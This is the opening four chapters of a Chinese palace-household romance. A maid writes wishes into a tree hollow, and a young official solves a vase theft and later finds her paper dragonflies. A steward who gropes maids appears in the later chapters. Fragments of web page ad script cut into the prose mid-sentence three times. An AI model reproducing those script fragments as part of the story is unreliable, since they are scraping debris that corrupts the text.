《把高冷世子当树洞后》 1. 第 1 章 馥梨在七岁时,就知道了一个词。 万物有灵。 阿娘说,即便是死木,哪怕是最不起眼的一张旧桌子,也要怀着珍惜的心情去用。待它越不好,它就坏得越快。越是嫌弃它,它就越是出麻烦。 不过馥梨觉得,阿娘是在变着法子地劝她惜物,毕竟她才偷玩阿兄的小木马,把它摇坏了。 “可是不信?”阿娘问。 馥梨皱了皱小脸,没有说话。 阿娘一点她额头,“庭院东北角那棵榆树,比你爹的岁数都大。那棵树也灵,你把心愿写纸上,折成纸蜻蜓丢到树洞里,树洞里睡觉的老神仙能瞧见。” “他瞧见了,就能实现我的愿望了吗?” “那要看许愿的孩子乖不乖了。” 馥梨觉得自己不算乖。 爹常说她,上房揭瓦,比小子还皮。 她还是连忙写了好多心愿,特地用了有碎金箔的花纸,蜻蜓翅膀在阳光下熠熠生辉,漂亮极了。 想给阿兄换个新的小木马。 想阿娘能少些皱眉头,少些唉声叹气。 想四海行商的爹爹赶在她生辰前回来。这趟出门前,爹爹说了,要给她带一盏七彩琉璃灯回来。 最后的最后,她想在夏日里能吃到冰糖葫芦。 八岁的第一天。 床头摆放崭新的小木马,红漆碗里是碎冰,镇着五颗糖壳水灵灵的冰糖葫芦,阿娘笑眼看她。 嗬,心愿成真的一天。 馥梨搬起小兀子就跑,跑到大榆树的树洞前,踮脚往里掏,老神仙大度宽容,没介意她蚯蚓一样乱爬的字迹,把几张花笺都收了,唯独漏下了一张。 看样子,爹爹这日是赶不回来了。 “老神仙,你都一把年纪了,做事怎同我一样,丢三落四的呀?”她小小的声音被吸进树洞里,抬头一看,头顶枝繁叶茂,浓绿阴翳里藏着光斑点点。 馥梨张开双臂,慢慢抱住了老树粗壮的树干。 “谢谢老神仙,老神仙你睡觉吧,不吵你了。” …… “作死啊你个懒鬼投胎的!给我起来!起来!” 一只手毫不留情,刷拉一下掀开了馥梨的棉被,响亮而有穿透力的声音,连同冬日的阵阵清寒,把她硬生生从明亮悠长的儿时梦境里拔出来。 小时候,被阿娘哄骗着相信树洞里有老神仙。 长大后,她知道老神仙不会显灵了。 馥梨眼皮干涩,像掺杂了一包沙,懵懵然片刻。 她躺着的这张大坑,左右床铺都没人了,旧棉被凌乱地摊开,冷得没有一丝余温。 陈大娘拉着一张脸,唾沫星子快要飞到她脸上:“你算算日子?进府第几次睡过了?小丫头喊喊不醒,非得我这个老婆子亲自来,我看你啊不是来当丫鬟,是来做少奶奶的!” 进府十天,睡过了第三次。 馥梨没接话,心里一本账。 她住在后罩房的大通铺,左铺磨牙,右铺睡相霸道,她需得腿贴紧手贴好,把自己缩成一根笔直的面粉条,才能睡得踏实些。陈大娘是镇国公府前院做事的仆妇,管着洗衣房的几个小丫鬟,包括她。 她没奔着做少奶奶的念想来。 她来借镇国公府的门庭躲难,威风凛凛的高门大宅,里头奴仆想自由不易,外头坏人更难闯进来。 馥梨翻出灰扑扑的棉袄裹上,睡得蓬乱的头发拢成两拨,扎了个最简单的双丫髻,“我洗把脸就去,陈大娘今日事情多,别在我这儿耽搁了。” 馥梨细声细气,趿拉着布鞋,眼皮半垂,连步子都慢腾腾的,把陈大娘这个急性子看得冒火。 但她有句话没说错,自己今日是有得忙。 世子爷陆执方在大理寺任职,被遣庐州重审一桩疑案,足足去了三月,眼见怕赶不上老太太大寿,叫老祖宗惦记得每顿都少吃了半碗米饭。 幸而,昨日就有长随来报行踪,说世子爷一行人已到城外百里的驿站,略作休整,最迟明日便赶到。 老太太是宽心了,镇国公府上上下下都忙起来,太太早晨就亲自往大厨房去了两回。 陈大娘抬脚要走,不放心又顿步往回看。 馥梨已走到院中,打好了水,身段裹在棉袄里,还是能瞧出几分窈窕。一双白莹莹的手捧块粗布帕子,在脸蛋上按。帕子移开,露出一双神采饱满的眼眸,瞳仁比寻常人更黑亮润泽。 馥梨察觉她目光,冲她露出个乖巧的笑。 鹅蛋脸上匀净白皙,眉眼柔婉,菱唇上就是不抹口脂,也比旁的小姑娘更红润鲜妍。这年纪的姑娘,哪个不是花骨朵儿似的,而馥梨属实最惹眼。 洗衣房在前院,爷们小厮来来往往,进进出出,她出落得这般水灵,往后是非怕还多着呢。 陈大娘心里暗叹,提气催她:“还不给我赶紧的,磨磨蹭蹭仔细你的皮!” 陈大娘走了。 馥梨来到洗衣房,里头空落落的,除了她,还剩一个黑着脸的丫鬟桂枝。 馥梨环顾一圈:“四喜她们呢?” 桂枝啪嗒啪嗒拿捣衣杵,捣着大水缸里的布衫,口气冷硬道:“世子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爷长随运了好些书册回来,吩咐搬到小重楼去晾晒,四喜她们去帮忙了!” 馥梨想问桂枝怎么没去,转念一想,是自己起晚了,桂枝一人被留在洗衣房做事,心里有气。她不再多说,坐到小兀子上,闷声干活。 水盆泡着料子更娇贵的主子衣衫。 需得用香胰,一点点仔细搓洗衣襟、袖口等地方。馥梨细长丰润的手指很快冻得像没知觉,疼痛似顺着指尖骨头钻进人心口。 桂枝突然一丢捣衣杵,“哎哟”了一声。 馥梨抬头看,只见她面色痛苦地弓腰,手捂着肚子的地方,“我好像来癸水了……不行,实在痛得受不了了。” 馥梨站了起来:“我扶你回后罩房歇着?” “不不用,我自己回去就成,就是这些衣裳……”桂枝面露难色,“陈大娘特意交待了得在未时洗好。” 馥梨没多想就应下:“我会洗好。” 桂枝不紧不慢离开了洗衣房。 馥梨甩甩手上的水珠,擦干了夹在自己膝弯下头捂热,才觉得灵活了些,继续浣衣。去搬书的四喜几人迟迟未归,整个洗衣房的活儿都落到她头上。 晾晒的、平铺的、交给各院大丫鬟用熏炉烘干的……等分门别类整理好,她肩臂腰背哪哪儿都酸,再赶去空荡荡的大厨房看,饭缸里干干净净,别说半碗饭,连粒米都不剩,锃光瓦亮得跟得洗过似的。 馥梨搜刮找出个干巴馒头,重新热了锅里的汤。 厨娘养来抓耗子的狸花猫在她脚踝上蹭。她看了一会儿,从碗里挑出些肉渣分给它,跟着盘腿坐下,在棉袄夹兜里翻出了进府捡的破烂——皱巴巴的宣纸,剩个边角的墨条,断了小半截的劈叉毛笔。 不过片刻,狸花猫圆滚滚的身条跃然纸上。 画有狸花猫的纸被折成一只栩栩如生的纸蜻蜓。 镇国公府北面有一处荒废院落,院落后小树林的树洞里,还藏着好几只一模一样的纸蜻蜓。那树已很老了,并非榆树,在隆冬更谈上不上枝繁叶茂,也没有万事灵验的老神仙住在里头。 馥梨还是习惯,隔三差五就去“许愿”。 身上棉袄是镇国公府发的,没纹路没绣花的细布料子,颜色也丑,但内里填了扎扎实实的好棉花。一日三餐,赶不上有馒头热汤,赶得上有一素一荤。 不饥不寒,已胜过世间很多苦命人家。 馥梨纤细的指头一下两下,轻点纸蜻蜓羸弱单薄,翩然欲飞的翅膀,眼眸弯了弯。 阿娘,你看见了吗? 女儿在镇国公府过得挺好的。 2. 第 2 章 皇都百里外的驿站。 本该是夜深人静的时分,蓦地传来一阵骚动,楼上几人跑进跑出,急而重的步子把木梯踏得吱嘎响,像是丢了什么东西,在闹腾腾地找。 陆执方的护卫荆芥懒得去关注,只抱臂守在墙角闭目养神。明日一早,他就要同世子爷赶回皇都。 但有人在靠近。 荆芥撩起眼皮,见一男人身形魁梧,满脸火烧火燎的急色,抬手就要敲他身后的房门。 “干嘛的!”荆芥拇指一顶,寒光凛冽的剑刃露出一截,横亘在来人面前。 对方倒退半步,缩手,冲他一抱拳,“我是个走镖的,姓徐,叫徐昇平,有急事想求见陆大人!” 荆芥往身后门扉听,没动静,“何事?” 徐昇平左右看看,冲着门板低声道:“小陆大人,此事事关小人镖局声誉,可否入房内细说?” 隔扇门后,依旧安静。 徐昇平不确定:“小陆大人莫非还在睡?” 荆芥想翻他一个白眼,世子爷浅眠,不喜喧哗。方才三楼这番动静,加上这大嗓门镖师说话的功夫,合该把人吵醒了。没声儿,就是不管的意思。 荆芥横剑往前,就要撵人。 徐镖师一咬牙,用低稳而清晰的声音道:“小陆大人,我负责运送一只宝瓶往皇都,一刻钟前,宝瓶在门窗紧闭的屋内离奇失窃。这本是送往皇都为一位老太太贺寿的寿礼啊,您就是不看僧面也看……” 世子爷最敬爱的祖母,不就是近来大寿么。 荆芥闻言,看了徐昇平一眼。 陆执方的声音在门后响起:“进。” 徐昇平如愿入内。 滴水成冰的夜,厢房没点灯,只摆个烧得正热的炭炉,不见多少暖意,全因西边那半扇敞开的花窗,叫冷风裹着月色,猎猎闯入。 他迫切想见到的小陆大人披一条天灰色的鹤氅,悠闲坐在窗边一把太师椅中,轮廓陷在半明半暗里。 徐镖师心急,自顾自说了失窃经过:“小陆大人,宝瓶在桌面,离床只五步远,抬头就能看见。我半睡半醒听见一声轻响,以为是做梦,察觉不对,再扭头一看,宝瓶就不翼而飞了。” 他又补充:“驿站前后门都有我弟兄看守,确定那一阵子无人离开,定然还在驿站里头。我想请小陆大人帮帮忙,把宝瓶找回来。” 陆执方判研的目光盯着他好一会儿。 “哪个镖局?” “嵩州的……五通镖局。” “宝瓶既是寿礼,送礼人是谁?” “小人只知宝瓶是六十大寿的寿礼,在皇都福来客栈交接,有人等候取货。其余的……一概不知。” “嵩州距京城甚远,你如何认得我?” “从前跑镖进过京,遇到过小陆大人办案,听闻小陆大人善谋善断,手底积压的悬案疑案甚少,年年都得陛下嘉奖,是大理寺最年轻有为的……” 千穿万穿,马屁不穿,徐昇平这么想。 可没等他恭维话讲完,陆执方在昏暗里偏了头。 荆芥的剑柄一拍他肩头,“走吧,别打搅我们世子爷休息,该报官报官,该抓贼抓贼。” “回、回去?”徐昇平一噎,“不帮了?” 陆执方睨他:“我何时说过要帮?” “小陆大人,”徐昇平咧出个比哭难看的笑,“宝瓶是三澤窑的松石绿八极香瓶,顶顶的好东西呐,陆家老太太定然喜欢的,丢了多可惜……” “不可惜,本就不是给她老人家的礼。” 徐昇平脸色唰地变了。 屋内一时沉寂,他嘴唇张了张,说不出话来。 “我不厌人说谎,世间人人有难处,说点谎不算罪过。但不喜有事相求,还把人当傻子。” 陆执方话落,荆芥作出送客模样。 徐昇平呆若木鸡地转身,忽而回头,箭步冲到太师椅前,朝陆执方跪了下去,抬手狠狠抽了自己一巴掌:“是我自作聪明鬼迷心窍,小陆大人原谅!” 面前的青年郎君一手掖着鹤氅,一只皂靴踩在地上,不紧不慢地打拍,似乎在思考拿他怎么样。 那声音很轻,像踩在徐昇平心口。 半晌,开了尊口。 “先说说。” “说,说什么?” “说说你如何鬼迷心窍。” 徐昇平在昏暗里,对上了陆执方的目光。 “宝瓶确实是寿礼,雇主没说是送往哪一家。我巧合听见您的护卫说起,要赶回京给老夫人贺寿,怕您事不关己不愿意帮忙……才、才出了这昏招儿。” 陆执方哂笑:“诓骗我,镖局能落得好?” 徐昇平咽了咽口水。 “镖局名字也是假的吧?” 事已至此,再多狡辩不过徒惹对方生气,徐昇平一屁股坐到地上,老老实实交代,“小陆大人猜得对,嵩州没有五通镖局,我是弘运镖局的。” “我是顾不上了。”他喃喃,像在解释,又像自言自语,“今年时运不济,年头到年尾丢了两趟镖,要是再丢一次,我的镖局只能关门大吉,家里八口人都跟着我喝西北风去。” 等到天亮报官,不止变数大,还坏镖局声誉。 不如直接求助眼前这位小陆大人,官字两个口,动动嘴皮子就能把驿站翻个底朝天。等镖物找到,再交接完,他立刻溜出皇都,往后再不接这边的镖。 可如意算盘落空了。 徐昇平薅了一把自己后脑勺的头发,眼睛一闭,心一横,“着实是头昏脑热。小陆大人心里有气,要打要罚都随意,只求您拣快的来。” 他还得回去和弟兄们商量接下来如何是好。 陆执方的鹤氅越过他,掠出一阵寒意。 徐昇平睁眼,太师椅已空。 荆芥没好气地冲他再翻了一个白眼:“帮你搜查是别想了,世子爷愿意去失窃现场看,还不带路?” “这就去!就去!”徐昇平忙不迭爬起来。 三楼厢房,灯火明亮。 时隔两年,再次看这位小陆大人的模样,还是要夸一句生得真好,戏文写的玉山照人,丰神俊朗不是夸张。不过青年的眼角眉梢像罩了层冰壳子,街上大姑娘小媳妇想丢帕子香花,估计是没胆儿的。 徐昇平乱糟糟走了个神,被陆执方唤回。 “宝瓶原本放在何处?” “就这儿,这张桌子。” “没遮没挡,就放着?” “丢镖丢怕了,好端端锁在箱子里的东西都能不见,光秃秃放着一眼瞧见,我能安心。” 徐昇平脸色再度郁卒起来,光秃秃的也丢了。 陆执方开始问他失窃时的更详细经过,包括失窃前后一众镖师的方位和看守安排。他一边问,一边检查闭合的两扇窗,连桌布都掀开看过一遍。 最后,视线落在了屋顶横梁上。 荆芥足尖一点翻上去,“爷,横梁没有异常。” 陆执方视线没动:“看屋顶。” 荆芥翻身而下,出了厢房,不多时攀上驿站三楼的屋顶,掀开了一片瓦,声音从头顶远远传来。 “爷,这有瓦片松动的痕迹。” “几片?” “只一片。” 荆芥揭开,漏开的一角不比巴掌大多少。 他花了些许时间才返回屋内,手掌都是灰,捏着一团物什,“爷,屋顶烟囱找到的。” 陆执方接过那物什,在油灯下分辨,是一团弯曲打结的银白色绳索,末端系着个小勾子。 徐昇平跟着琢磨:“小陆大人,这是何物?” “钓宝瓶的勾。” 徐昇平见了鬼般,两手纳闷地比划 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起来,“宝瓶有这般宽,屋顶瓦片大的洞,它出不去啊!” “没钓出去。” “那……那钓去哪儿了?” 陆执方修长的手指已经顺一段鱼线,用铁钩卡着桌上白釉酒壶的耳柄试验。酒壶半满,被吊起来,徐徐降到及地距离,再猛地一甩荡。 “哒”一声,酒壶在桌底落地,稳稳立定。 细线小勾松脱,拽出,勾起桌布边缘,把酒壶严严实实遮挡了起来。 徐镖师的脑子也“哒”一声,天旋地转起来。 花瓶失窃时,他迷迷糊糊听见了极相似的声音,此刻有什么东西呼之欲出,又什么都说不出来。 陆执方替他说了:“调虎离山。” 徐镖师胸口翻腾,险些一口血喷出来。 按这意思,他以为宝瓶失窃时,其实还在房内,不过被钓到某个隐蔽的角落,比如桌底。全是他心神大骇,害怕盗贼走远,没多检查就跑去喊人了。 “你离开后,谁进过这里,谁就可能是贼。” “一年丢三趟镖,查查内鬼吧。” 陆执方一句接一句,把他说得一颗心往下坠。 徐昇平心里浮现起一张脸,不愿意承认,“小陆大人,我身边可都是出生入死的弟兄啊,过命的交情……这会不会是弄错了?” 陆执方将鱼线收好,丢回桌案上一指,“会弄错,我只说推断,你自行分辨。” 主仆二人回到二楼厢房,已是后半夜。 陆执方命荆芥收拾行囊,“再过半时辰出发。” 荆芥熟练地从怀里掏出一对掷茭,在桌上一掷,“爷,哭茭不吉,要不换个时辰再出发?”他家世子爷哪哪都好,就是忌车怕水,出远门总不顺遂。 陆执方一静,“已日行一善了。” 说罢,三楼传来比丢宝瓶更大的动静,间或夹杂着徐昇平暴怒的质问声。内鬼看来抓住了,荆芥默默收回视线,又掷了一遍,还是哭茭。 “爷,你如何知道宝瓶不是送给老太太的?” “事以密成,能把这么贵重的东西往镇国公府送,定有所求,事未成之前,不会轻易泄露消息。” 再者,嵩州压根儿没有五通镖局。 披星戴月的回程果真不顺遂,半道下起了阵雨。 两人赶路一整日,回到镇国公府,满身狼狈。大厨房这两日定时备好姜汤热水,只等人一到就能用。 荆芥跟着陆执方往院子去,远远路过了畅和堂。 陆执方脚步一顿,“问管事开畅和堂的屋门,里头西厢房的书桌暗屉里有一只楠木盒,替我取来。” “这就去。” “等等。” “木盒带锁,钥匙也一并取来。”陆执方的眉头微蹙,似是在回忆思索,“钥匙应在院后树林东边,距院墙最近的那棵树的树洞里。” 荆芥一默,面上露出惊奇古怪的神色,但服从惯了,不敢多问就匆匆去办事了。 陆执方从浴房出来,金丝楠木盒已摆在屋内。 荆芥左手心放着一枚略腐锈的铜匙,右手心攥着几只皱巴巴有点潮的……纸蜻蜓。 陆执方投去目光。 “和钥匙一起放在树洞里的,不知有无用处,”荆芥端详主子的表情,也觉自己鬼使神差多此一举,“纸还挺新,许是小公子贪玩扔进去的。” 他要把纸蜻蜓扔丢,陆执方已拿起了一只。 羸弱的纸翅膀翻折,隐约露出字迹来,在陆执方手中翻转几下,就被还原成了一张皱巴巴的薄宣。 纸上勾勒一只低头舔食的狸奴,旁边簪花小楷写一句话,“寒冬腊月水成冰,狸奴与我共分食。” “他还写不出这样好的字。” 陆执方三两下,把几只纸蜻蜓都拆了,“得空了去问问,畅和堂近来是谁负责打扫,有谁出入过。” 3. 第 3 章 畅和堂是陆执方孩童时念书居住的院落。 眼下久无人居,存有旧物的屋舍都落了锁,只隔三差五派个粗使丫鬟去清扫外庭的落叶枯枝。 骤然被荆芥问起,府里管事韩长栋的心便一紧:“可是打扫得不仔细,惹了世子爷不满?抑或是丫鬟手脚不干净,撬锁偷了东西?” 不然怎会才叫他开锁,回头又来打听? 世子爷吩咐的事,荆芥素来嘴巴紧。 他只露个稀松平常的笑:“韩管事就说近几日都有谁负责打扫吧,把名字报给我。” 他近身伺候多年,陆执方喜怒不形于色的派头学了七八分,偶尔摆出点模样来,很是能唬人。 韩长栋接任老管事的位置不过一两年,几个院落主子交待的事情都不敢轻慢,何况是静思阁的人,当下回了笑脸:“是粗使丫鬟轮换的,至于都是谁和谁,我仔细问过了再到静思阁回话。” 陆执方回府,今日家宴自有一番忙碌。 老夫人、两位太太和年轻一辈的郎君姑娘齐聚在翡翠堂用膳。韩长栋打点完,找到了同样刚忙碌完的陈大娘,把事情说了说。 残霞暮光中,陈大娘把他领到后罩房前头。 不知哪个丫鬟不嫌冻,没进屋躲风,坐在院中石桌后,还是豆蔻年华,脸上身上都素净,却生得粉靥朱唇,肤白如玉,霞光瑰色像晕染了她整张脸。 可惜,就是太瘦了些,没有成熟女郎的风韵。 韩长栋看得心头一动,想再细细打量,陈大娘就把那丫鬟给骂走了:“懒丫头还不回房,可别吹出个好歹来,还要老婆子给你请医抓药!” 小姑娘听话起身,没多久,近几日打理过畅和堂的丫鬟们陆陆续续出来了,韩长栋仔细看,眸中闪过一抹失望,没有刚才那个美貌的。 人挤人的后罩房,霎时空了许多。 馥梨坐回到自己床铺,畅和堂她打扫过,不过是悄悄替四喜顶班,四喜不想挨骂,朝她打个马虎眼——别吱声儿,随后跟着别的丫鬟们出去了。 陈大娘没跟过去,韩长栋说要私下里问话。 她人在门槛处,时不时朝外头看他同丫鬟们说话,本就惯常拧着的眉头皱纹更深,直到有丫鬟三三两两被问完话回来,才松出一口气。 忽地,她点了点人:“桂枝呢?” 最后回来的四喜一撇嘴,“韩管事说前院花木缺个打理的,唤她过去帮忙了,桂枝还推三阻四。每次去都能多得五十文钱,多好啊!我想去都不给呢。” 陈大娘一听这话,脚上一跺,低声咒了一句。 四喜没听清,“说了什么?” “说你这笨手笨脚的,别想往上凑了!”陈大娘心烦气躁,回头叮嘱:“半时辰后桂枝要是还没回,找人来喊我,回来了也叫她来一趟。” 说罢抬脚去了隔壁屋,婆子们有婆子的房间。 丫鬟们嬉嬉笑笑,打牌的打牌,嗑瓜子的嗑瓜子,还有那识字的,翻着卷边儿的话本子给旁人念。 馥梨在一片闹腾腾中放空,又想出去吹风,窗外玉兔东升,依稀有几颗星子,她看了看时辰,同四喜道:“桂枝还没有回来,平常也要这般久吗?” 四喜已然忘了陈大娘的交待,沉浸在贵女爱上穷书生的缠绵悱恻中,随口应道,“老太太大寿快到,没成是布置得更仔细呢。” 怎么样的花草树木,要夜里打着灯笼布置? 馥梨挪开盖在腿上的棉被,穿上鞋,往隔壁陈大娘住的屋子去。想到她叮嘱时那种隐隐的担忧,馥梨直接推门:“陈大娘,桂枝还没回……” 桂枝回了。 人就坐在陈大娘身前的凳子上,眼里溢满了泪,袖口拉起来,小臂上赫然几道指印。听见推门声,她错愕地朝馥梨看来,急急忙忙拉上衣袖。 陈大娘沉了脸:“门外等着!别叫人进来。” 馥梨心头莫名一揪,转身守在了门外,好一会儿,才见陈大娘和桂枝从屋里出来,桂枝沉默低头,一路没有对上她的眼神,独自回了后罩房。 “不该看见什么却看见了,就当没看见。桂枝比你大不了几岁,还是清清白白的姑娘家,你敢到处去乱嚼舌根,坏了桂枝名声,让我听见了有你好受!” 陈大娘骂骂咧咧惯了,这次特地拉下脸,更凶了两分,眼睛瞪着馥梨威胁。 往日性子软和的小姑娘站在原地没动,黑润瞳仁无声眨了眨。“大娘刀子嘴豆腐心,嘴上骂过,手上没打过,”她慢慢开口,“所以桂枝手上那些痕迹,是那个韩管事弄的,对吗?” “打理花木是个幌子,桂枝才不愿意去。” “这个事情,太太知道吗?” 她接连说了好几句话,声音在料峭寒风里细细,像是不需要回答,又像是在等候一个回答。 陈大娘不说话,推了推她,叫她回去。 馥梨回头:“陈大娘,告诉太太吧,要管的。” “你当我不想?没凭没据的,没得第三人作证,姓韩的有色心没色胆,就爱摸两把恶心人,你能奈他何?”陈大娘吸了口气,“去年有倔的闹起来,还没闹到太太跟前呢,人就被寻了个错处发卖了。” 屋门在馥梨面前怦地阖上。 馥梨站了一会儿,回到后罩房,桂枝已如同没事人那般,融入打牌的丫鬟们中。 只是身形在她进来那瞬间滞了滞。 翌日清晨,丫鬟们前前后后起身洗漱。 四喜迷迷瞪瞪擦着眼,往馥梨的床铺一推,要把她喊起来,只摸到余温快没了的被褥。人呢?她瞪大眼,不敢置信地看了一圈,馥梨已不在后罩房。 “怪了,从前可是使劲儿喊都喊不起来的呀。” 洗衣房里,馥梨是第一个到的。 丫鬟们吃过朝食来到时,她一人洗了好些衣衫,裤腿不知去哪儿蹭了一块泥灰,棉袄袖口勾破,粘着一小根树枝。四喜凑过去,替她摘掉了树枝碎叶。 “馥梨,你是像话本子说的,要洗衣革面啦?” “洗心革面。” 馥梨纠正她,察觉桂枝在看自己,她转头看过去,桂枝很快就低下了头。 洗衣房今日事情多,堆满了宴饮要布置的彩绸,库房送来的,得重新清洗、熨烫、熏香。 忙活到天擦黑,前院跑腿的小僮照壁来了。 “桂枝姐姐,管事说你昨儿的活没做完,待会儿晚膳后记得去,不然要扣钱的。” 桂枝拧彩布的手一顿,脸色都白了几分。 馥梨擦干手上水珠,站了起来:“桂枝手上还有旁的差事,我替她去,我今日来得早,事做完了。” 桂枝一愣,丫鬟们面面相觑。 照壁挠挠脸:“可管事指名要桂枝姐姐去。” 馥梨已走到照壁身边,冲他弯唇笑,“我侍弄过花草,你领我到管事那儿说,他要骂也只骂我。” 长得好看的人,即便不做任何表情,平静时都是好看的,何况她还笑着,像寒枝上一蓬新雪遇初阳。 照壁给那笑颜晃得迷迷瞪瞪,领着人走了。 洗衣房里丫鬟们炸开了锅。 “馥梨今日好反常呀。” “人平日也没偷懒啊,就是爱睡觉了些。” “这可不是勤快不勤快的,都抢桂枝差事了。” 桂枝拧好的彩布又砸到水缸里,溅起水花,“是我自个儿不想去的,别说嘴了,抓紧干活吧。”她松一口气,又有几分惴惴不安,看向馥梨渐远的背影。 等在宴会花园的韩长栋只觉撞了大运。 来的居然就是昨日那丫鬟。 他霎时就忘了不知好歹的桂枝,挥退了照壁,“叫什么名字?入府多久了,我没见过你。” “婢子叫馥梨,进府快半月了,是副管事安排的。府里上百号人都仰仗韩管事,你贵人事忙,哪能记住我一个小小丫鬟。”馥梨声音说不出的柔婉,听得韩长栋心头一酥,竟像是个知趣的。 他笑笑,将手上银剪递过去。 “修剪草木做过吗?老太太喜欢花草,宴会园里都是秋冬更好看的矜贵品种,留神别剪坏了。” “我试试,韩管事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来帮把眼。” 馥梨挽起衣袖,比照旁边一株修剪成形的九龙丹修去了一点枝蔓,手腕白皙的肌肤在灯下泛光。 她回眸,轻声问:“管事瞧,是这般修剪吗?” 宴会花园正是少人经过的时段。 何况,韩长栋还特意屏退了负责洒扫的仆役。 “再高些,把那儿的杂枝剪对称了。” “哪儿?我是眼拙,瞧不出来。”馥梨几分赧然,玉靥薄晕,无辜眼神忽而一转,眼波盈盈勾人。 韩长栋霎时忘了环顾四周,欺身靠近,借着花木掩映,大掌往那玉一般的腕子上攀。 “兄长,你给祖母备了什么寿礼呀?” 孩童清脆明亮的声音,不远不远传来。 韩长栋色心顿消,猛退一步回头,就见十步开外,本该去翡翠堂用膳的几位郎君款款走来。 刚入学堂的小公子尚且懵懂,没留意异样,跟在身后的陆执方和陆仲堪可是及冠了的男子。 几人转眼已来到身前。 韩长栋毕恭毕敬地问候几位主子,余光瞄到馥梨低眉顺目地福身,并未多言,心中不由一松。 老镇国公已故去,老太太健在,府里未分家。 面前这几位,世子爷陆执方和小公子是大老爷的嫡出,陆仲堪则是二老爷的。两位郎君年纪相仿,比照样样出色的陆执方,后者只能说纨绔得很典范。 贵游子弟该有习性他都有,包括爱看热闹。 陆仲堪当下不走了,一双桃花眼亮起,饶有兴致在馥梨面庞流连一圈,又落到韩长栋这边,意有所指道:“天都黑了,韩管事还忙呢,可真真辛苦。” 韩长栋尴尬:“就忙完了,劳三公子挂心。” 再去看静思阁那位,不知是没瞧见,还是压根儿不在意方才那一出,惯常的不显山露水。 郎君们走远了。 韩长栋怕几人去而复返,又舍不得那触手生腻的滋味,“明日得空,照壁喊你了,你再过来。” “听候韩管事吩咐。”馥梨弯唇,将修剪花木的银剪转到把手那面,恭敬递回到他手里才离去。 从宴会花园回后罩房,需得绕过一方极为宽阔的观鱼池。馥梨想走抄手游廊的近道,远远瞧见园中的几位郎君凭栏喂鱼,廊芜下花灯映出粼粼的锦鲤色。 她当下脚步一顿,打了个拐儿。 陆仲堪瞧得分明,颇感可惜。 “书卷说莲花出淤泥而不染,我今日倒瞧见莲花往淤泥底下探。哎,要说为攀前程,她何不来找我?小爷这张脸怎么也比那老东西顺眼啊。” “谁是老东西?”幼弟睁着好奇的眼问。 陆执方指头一弹他额:“别跟你三哥学舌。” 陆仲堪自觉说错话,闭了嘴,安安分分没片刻,又忍不住问陆执方:“二哥不觉得稀奇吗?” “人各有志。”陆执方扶稳了整个趴在美人栏上的幼弟,捻一把鱼食倒在幼弟掌心。 鱼食撒开,锦鲤相争。 此刻他脑海浮现的,亦是那容色楚楚的丫鬟。 人有精气神,字有根骨形。观面貌字迹,可略知其人七八分。她分明生就了一双神采清润的眼眸,难得有静气,却甘愿拿来行浮浪魅惑之事。 陆执方一哂,想到纸蜻蜓,霎时失了兴趣。 便是工笔的气韵灵逸,下笔之人也未必相衬,等回去就让荆芥不必再打听了。 不巧,静思阁里,荆芥领着韩管事来回话。 陆执方到底是坐下听他禀告了。 韩长栋眼神尚有几分尴尬,“世子爷,近半月里打扫过畅和堂的丫鬟共五个,是四喜、蔻丹……”他有心好好表现,挽回印象,报完了名字,再细说各人当值的日子时辰等情况。 说话间,掌心发痒得厉害,不自觉在衣摆上搓。 荆芥立在陆执方身旁听。 他听着听着,目光落到韩长栋那不安分的手上,眸子越睁越大,不过半盏茶的功夫,看韩长栋从手指到腕骨膨胀肿起,变成一只以假乱真的红烧肘子。 4. 第 4 章 月夜清辉落在铺得平整的石砖地面,灿如白银。 馥梨绕了些路,寻到活水净了手,回得就晚了,望见挨近后罩房外的走道上,有人提灯在等。 比寻常丫鬟更丰腴几分的身影,是桂枝。 馥梨微讶,走到她面前。 桂枝没同她回后罩房,而是将她拉到僻静处,灯笼照着她周身端详,“你,你没出什么事吧?” 馥梨摇摇头,神色如常。 “他……他真没动手动脚?” 桂枝不敢置信,韩长栋是个惯犯,夏日衣衫薄时他就惯有下作行径,昨日还嫌冬衣厚实,要威胁她到假山隐蔽处行事,是她干活力气大,才挣脱了跑掉。 “那时恰好府里几位郎君经过,他没敢。” “那就成。” 桂枝松一口气,轻松没有维持多久,眸光闪烁起来,“你为何……要替我过去?”馥梨是新来的,她同她交情不算好,后罩房里待馥梨最亲近的是四喜。 馥梨没答,接过灯笼,在桂枝后背拍了拍。 她嗓音软和下去:“走吧,快些回去,我又冻又困的。”今日起了前所未有地早,现在眼皮发涩,就是再来几个丫鬟在她耳边磨牙,她都能立刻睡着。 桂枝更于心有愧了,一双手在衣衫下摆绞着。 “我那日说来癸水了,是骗你的……我就是看不惯你总睡过时辰,觉得你想偷懒少干活。” 馥梨弯弯眼:“我知道呀。” “啊?” “阿娘总说我该当属狗,从小鼻子就很灵。” 后罩房里头有人来月事,她能闻到浅淡的血味,何况桂枝就睡在她旁边,到夜里她不可能没察觉。 后罩房近在眼前。 糊窗纸透出暖融融的光,丫鬟们嬉嬉笑笑的剪影晃动。馥梨打个呵欠,呵出一口白气飘散,“我就是一日得睡够五六个时辰才能有精神,没法子。” 桂枝怔忪,肩头被她轻轻推了推。两人跨步迈入门槛,融入屋内那片叽叽喳喳的笑闹中。 这一觉安稳无梦。 馥梨睁眼,只觉神清气爽,翻身坐起,屋内没旁的丫鬟,只有陈大娘在塌边盘腿而坐,冷眼睨她。 果不其然,睡饱的时候,就是睡过的时候。 馥梨眨眨眼,要趿鞋下地。 陈大娘摁住她:“昨日是你替的桂枝?韩长栋那个狗东西的手被毒虫蛰伤,跟你有没有关系?” “韩管事……被蛰伤了?” “你不知?” 陈大娘紧盯她迷茫的表情,抿起的嘴唇一松,一拍大腿哈哈笑起来:“你是没瞧见,他半边膀子肿得老高,不止不能算账写字,我看连端饭碗都成问题,可算是老天有眼!就活该!” 馥梨跟着笑了笑。 陈大娘收了眉飞色舞,口气缓几分:“睡你的,桂枝说她拿攒的旬日休息替你一天,继续歇着吧。” 馥梨一愣,旋即问:“陈大娘,我能出府吗?” 